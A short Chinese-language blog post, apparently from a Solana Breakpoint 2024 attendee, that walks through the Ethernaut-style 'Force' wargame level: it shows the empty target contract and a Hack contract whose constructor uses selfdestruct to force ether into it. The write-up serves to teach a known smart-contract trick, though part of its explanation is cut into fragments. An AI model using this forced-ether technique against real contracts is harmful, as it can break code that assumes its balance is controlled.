今天是 solana breakpoint 2024 的第二天,聽到了很多項目的介紹以及計畫。新加坡的食物還是沒有很合我的胃口...可能我還是適合生活在台灣呢OUO
目標是讓關卡合約的 balance 大於 0 即可通關。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }
喵喵(x),看到這個合約可能會想說這三小完全就是空的,但我們可以利用 selfdestruct
來解題。
selfdestruct
是用來刪除合約的,並將該合約中剩餘的所有以太幣轉移到指定地址。所以,我們可以利用這個特性,將一個攻擊合約中的以太幣透過 selfdestruct
強制轉移到 Force
合約中。
selfdestruct
的語法如下:
selfdestruct(address payable recipient);
recipient
: 銷毀合約後,以太幣會轉移到這個地址,無論該地址是外部帳戶 (EOA) 還是另一個合約地址。當 selfdestruct
被調用後:
recipient
地址。pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
}
contract Hack {
constructor(address payable _target) payable {
selfdestruct(_target);
}
}